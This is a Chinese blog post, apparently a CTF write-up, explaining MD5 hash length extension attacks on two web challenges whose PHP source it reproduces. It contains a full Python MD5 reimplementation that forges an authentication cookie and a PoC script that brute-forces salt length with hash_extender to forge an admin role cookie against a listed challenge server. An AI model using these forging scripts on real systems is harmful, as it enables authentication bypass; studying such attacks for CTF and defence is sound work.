NEKO

hash扩展攻击

2018/01/03

参考:
http://blog.csdn.net/qq_31481187/article/details/74275786#0x1-%E5%AD%97%E8%8A%82%E5%A1%AB%E5%85%85
原理:http://www.freebuf.com/articles/web/69264.html(虽说是将sha1,但他貌似使用的md5)
这里讨论md5。
原理不写了,就是在知道str,但不知道salt的情况下能得知md5(salt+str),那我们就能得到md5(salt+str+任意数据的值),其实也没必要知道str,把str当做salt的一部分就行,大致原理是按padding规则手动填充第一个分组,第二个分组随便写自己的数据,那md5(salt+str)的值就是第二个分组的初始向量,然后就能算解出新的md5的值。如果知道salt的长度,直接就能填充了,如果不知道,就要爆破salt的长度来填充。

知道salt的长度

http://ctf5.shiyanbar.com/web/kzhan.php
源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}

Cookie: sample-hash=571580b26c65f306376d4f64e53cb5c7; source=1

现在知道salt长度为15,str为‘adminadmin’.

hash_extender

hash_extender:https://github.com/iagox86/hash_extender

脚本

py2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
import sys


def genMsgLengthDescriptor(msg_bitsLenth):
'''
---args:
msg_bitsLenth : the bits length of raw message
--return:
16 hex-encoded string , i.e.64bits,8bytes which used to describe the bits length of raw message added after padding
'''
return __import__("struct").pack(">Q", msg_bitsLenth).encode("hex")


def reverse_hex_8bytes(hex_str):
'''
--args:
hex_str: a hex-encoded string with length 16 , i.e.8bytes
--return:
transform raw message descriptor to little-endian
'''
hex_str = "%016x" % int(hex_str, 16)
assert len(hex_str) == 16
return __import__("struct").pack("<Q", int(hex_str, 16)).encode("hex")


def reverse_hex_4bytes(hex_str):
'''
--args:
hex_str: a hex-encoded string with length 8 , i.e.4bytes
--return:
transform 4 bytes message block to little-endian
'''
hex_str = "%08x" % int(hex_str, 16)
assert len(hex_str) == 8
return __import__("struct").pack("<L", int(hex_str, 16)).encode("hex")


def deal_rawInputMsg(input_msg):
'''
--args:
input_msg : inputed a ascii-encoded string
--return:
a hex-encoded string which can be inputed to mathematical transformation function.
'''
ascii_list = [x.encode("hex") for x in input_msg]
length_msg_bytes = len(ascii_list)
length_msg_bits = len(ascii_list) * 8
# padding
ascii_list.append('80')
while (len(ascii_list) * 8 + 64) % 512 != 0:
ascii_list.append('00')
# add Descriptor
ascii_list.append(reverse_hex_8bytes(genMsgLengthDescriptor(length_msg_bits)))
return "".join(ascii_list)


def getM16(hex_str, operatingBlockNum):
'''
--args:
hex_str : a hex-encoded string with length in integral multiple of 512bits
operatingBlockNum : message block number which is being operated , greater than 1
--return:
M : result of splited 64bytes into 4*16 message blocks with little-endian

'''
M = [int(reverse_hex_4bytes(hex_str[i:(i + 8)]), 16) for i in
xrange(128 * (operatingBlockNum - 1), 128 * operatingBlockNum, 8)]
return M



def T(i):
result = (int(4294967296 * abs(__import__("math").sin(i)))) & 0xffffffff
return result



F = lambda x, y, z: ((x & y) | ((~x) & z))
G = lambda x, y, z: ((x & z) | (y & (~z)))
H = lambda x, y, z: (x ^ y ^ z)
I = lambda x, y, z: (y ^ (x | (~z)))
RL = L = lambda x, n: (((x << n) | (x >> (32 - n))) & (0xffffffff))


def FF(a, b, c, d, x, s, ac):
a = (a + F((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff
a = RL((a), (s)) & 0xffffffff
a = (a + b) & 0xffffffff
return a


def GG(a, b, c, d, x, s, ac):
a = (a + G((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff
a = RL((a), (s)) & 0xffffffff
a = (a + b) & 0xffffffff
return a


def HH(a, b, c, d, x, s, ac):
a = (a + H((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff
a = RL((a), (s)) & 0xffffffff
a = (a + b) & 0xffffffff
return a


def II(a, b, c, d, x, s, ac):
a = (a + I((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff
a = RL((a), (s)) & 0xffffffff
a = (a + b) & 0xffffffff
return a


def show_md5(A, B, C, D):
return "".join(["".join(__import__("re").findall(r"..", "%08x" % i)[::-1]) for i in (A, B, C, D)])


def run_md5(A=0x67452301, B=0xefcdab89, C=0x98badcfe, D=0x10325476, readyMsg=""):
a = A
b = B
c = C
d = D

for i in xrange(0, len(readyMsg) / 128):
M = getM16(readyMsg, i + 1)
# First round
a = FF(a, b, c, d, M[0], 7, 0xd76aa478L)
d = FF(d, a, b, c, M[1], 12, 0xe8c7b756L)
c = FF(c, d, a, b, M[2], 17, 0x242070dbL)
b = FF(b, c, d, a, M[3], 22, 0xc1bdceeeL)
a = FF(a, b, c, d, M[4], 7, 0xf57c0fafL)
d = FF(d, a, b, c, M[5], 12, 0x4787c62aL)
c = FF(c, d, a, b, M[6], 17, 0xa8304613L)
b = FF(b, c, d, a, M[7], 22, 0xfd469501L)
a = FF(a, b, c, d, M[8], 7, 0x698098d8L)
d = FF(d, a, b, c, M[9], 12, 0x8b44f7afL)
c = FF(c, d, a, b, M[10], 17, 0xffff5bb1L)
b = FF(b, c, d, a, M[11], 22, 0x895cd7beL)
a = FF(a, b, c, d, M[12], 7, 0x6b901122L)
d = FF(d, a, b, c, M[13], 12, 0xfd987193L)
c = FF(c, d, a, b, M[14], 17, 0xa679438eL)
b = FF(b, c, d, a, M[15], 22, 0x49b40821L)
# Second round
a = GG(a, b, c, d, M[1], 5, 0xf61e2562L)
d = GG(d, a, b, c, M[6], 9, 0xc040b340L)
c = GG(c, d, a, b, M[11], 14, 0x265e5a51L)
b = GG(b, c, d, a, M[0], 20, 0xe9b6c7aaL)
a = GG(a, b, c, d, M[5], 5, 0xd62f105dL)
d = GG(d, a, b, c, M[10], 9, 0x02441453L)
c = GG(c, d, a, b, M[15], 14, 0xd8a1e681L)
b = GG(b, c, d, a, M[4], 20, 0xe7d3fbc8L)
a = GG(a, b, c, d, M[9], 5, 0x21e1cde6L)
d = GG(d, a, b, c, M[14], 9, 0xc33707d6L)
c = GG(c, d, a, b, M[3], 14, 0xf4d50d87L)
b = GG(b, c, d, a, M[8], 20, 0x455a14edL)
a = GG(a, b, c, d, M[13], 5, 0xa9e3e905L)
d = GG(d, a, b, c, M[2], 9, 0xfcefa3f8L)
c = GG(c, d, a, b, M[7], 14, 0x676f02d9L)
b = GG(b, c, d, a, M[12], 20, 0x8d2a4c8aL)
# Third round
a = HH(a, b, c, d, M[5], 4, 0xfffa3942L)
d = HH(d, a, b, c, M[8], 11, 0x8771f681L)
c = HH(c, d, a, b, M[11], 16, 0x6d9d6122L)
b = HH(b, c, d, a, M[14], 23, 0xfde5380c)
a = HH(a, b, c, d, M[1], 4, 0xa4beea44L)
d = HH(d, a, b, c, M[4], 11, 0x4bdecfa9L)
c = HH(c, d, a, b, M[7], 16, 0xf6bb4b60L)
b = HH(b, c, d, a, M[10], 23, 0xbebfbc70L)
a = HH(a, b, c, d, M[13], 4, 0x289b7ec6L)
d = HH(d, a, b, c, M[0], 11, 0xeaa127faL)
c = HH(c, d, a, b, M[3], 16, 0xd4ef3085L)
b = HH(b, c, d, a, M[6], 23, 0x04881d05L)
a = HH(a, b, c, d, M[9], 4, 0xd9d4d039L)
d = HH(d, a, b, c, M[12], 11, 0xe6db99e5L)
c = HH(c, d, a, b, M[15], 16, 0x1fa27cf8L)
b = HH(b, c, d, a, M[2], 23, 0xc4ac5665L)
# Fourth round
a = II(a, b, c, d, M[0], 6, 0xf4292244L)
d = II(d, a, b, c, M[7], 10, 0x432aff97L)
c = II(c, d, a, b, M[14], 15, 0xab9423a7L)
b = II(b, c, d, a, M[5], 21, 0xfc93a039L)
a = II(a, b, c, d, M[12], 6, 0x655b59c3L)
d = II(d, a, b, c, M[3], 10, 0x8f0ccc92L)
c = II(c, d, a, b, M[10], 15, 0xffeff47dL)
b = II(b, c, d, a, M[1], 21, 0x85845dd1L)
a = II(a, b, c, d, M[8], 6, 0x6fa87e4fL)
d = II(d, a, b, c, M[15], 10, 0xfe2ce6e0L)
c = II(c, d, a, b, M[6], 15, 0xa3014314L)
b = II(b, c, d, a, M[13], 21, 0x4e0811a1L)
a = II(a, b, c, d, M[4], 6, 0xf7537e82L)
d = II(d, a, b, c, M[11], 10, 0xbd3af235L)
c = II(c, d, a, b, M[2], 15, 0x2ad7d2bbL)
b = II(b, c, d, a, M[9], 21, 0xeb86d391L)

A += a
B += b
C += c
D += d

A = A & 0xffffffff
B = B & 0xffffffff
C = C & 0xffffffff
D = D & 0xffffffff

a = A
b = B
c = C
d = D

return show_md5(a, b, c, d)

samplehash="571580b26c65f306376d4f64e53cb5c7"

s1=0xb2801557
s2=0x06f3656c
s3=0x644f6d37
s4=0xc7b53ce5
#exp
secret = "a"*15
secret_admin = secret+'adminadmin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00admin'
r = deal_rawInputMsg(secret_admin)
inp = r[len(r)/2:]
print (inp)
print "getmein:"+run_md5(s1,s2,s3,s4,inp)

不知道salt长度

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>

<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>

</body>
</html>

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import os
import urllib
url='http://120.26.131.152:32778/'
def run(x,y):
cookies={'role':x,'hsh':y}
r=requests.get(url,cookies=cookies)
return r.text

for i in range(50):
find_hash = "./hash_extender/hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f md5 -a ';\"nimda\":5:s' --out-data-format=html -l " + str(i) + " --quiet"
# print find_hash
calc_res = os.popen(find_hash).readlines()
# print calc_res
hash_value = calc_res[0][:32]
attack_padding = calc_res[0][32:]
attack_padding = urllib.quote(urllib.unquote(attack_padding)[::-1])
ret = run(attack_padding, hash_value)
if "Welcome" in ret:
print ret
print
hash_value
print
attack_padding
break

原文作者: n3k0

发表日期: January 3rd 2018, 2:16:59

发出嘶吼: 没有魔夜2玩我要死了

CATALOG
  1. 1. 知道salt的长度
    1. 1.1. hash_extender
    2. 1.2. 脚本
  2. 2. 不知道salt长度